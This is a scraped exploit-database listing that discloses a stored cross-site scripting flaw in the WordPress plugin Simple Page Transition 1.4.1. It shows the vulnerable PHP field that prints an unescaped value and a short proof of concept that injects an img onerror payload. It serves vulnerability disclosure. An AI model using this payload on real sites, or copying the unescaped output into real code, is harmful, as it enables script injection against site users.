WordPress Simple Page Transition 1.4.1 Cross Site Scripting ≈ Packet Storm

Roger Wilco Exploits 27 juin 2022 Affichages : 298

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

WordPress Simple Page Transition 1.4.1 Cross Site Scripting^[6]: Authored by Mariam Tariq ^[7]; WordPress Simple Page Transition plugin version 1.4.1 suffers from a persistent cross site scripting vulnerability.; SHA-256 | 6add737b61d202a5e1a60dba7f03322ef6b69ca1cb41cb65fe52abe7e5145de6; Download ^[8] | Favorite ^[9] | View ^[10]

        # Exploit Title: WordPress Plugin ‘Simple Page Transition’  - Stored Cross
Site Scripting
# Date: 27-06-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage: https://wordpress.org/plugins/simple-page-transition/
# Version: 1.4.1
# Tested on: Firefox
# Contact me: Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser.
*#Vulnerable code*:
```
<label for="simple_page_transition_ignored"><?php _e( 'Ignored Download
Links', 'spt' ); ?></label><br />
<input type="text" id="simple_page_transition_ignored"
name="simple_page_transition_ignored" value="*<?php print
$simple_page_transition_ignored; ?>*" /><br />
```
*#POC:*
1- Install the plugin ‘simple page transition’ & activate it.
2- Navigate towards the “ignored download links”
3- Enter the XSS payload ` *“><img src=x onerror=alert(1)>*`
*#POC image:*
https://imgur.com/yzaTkhi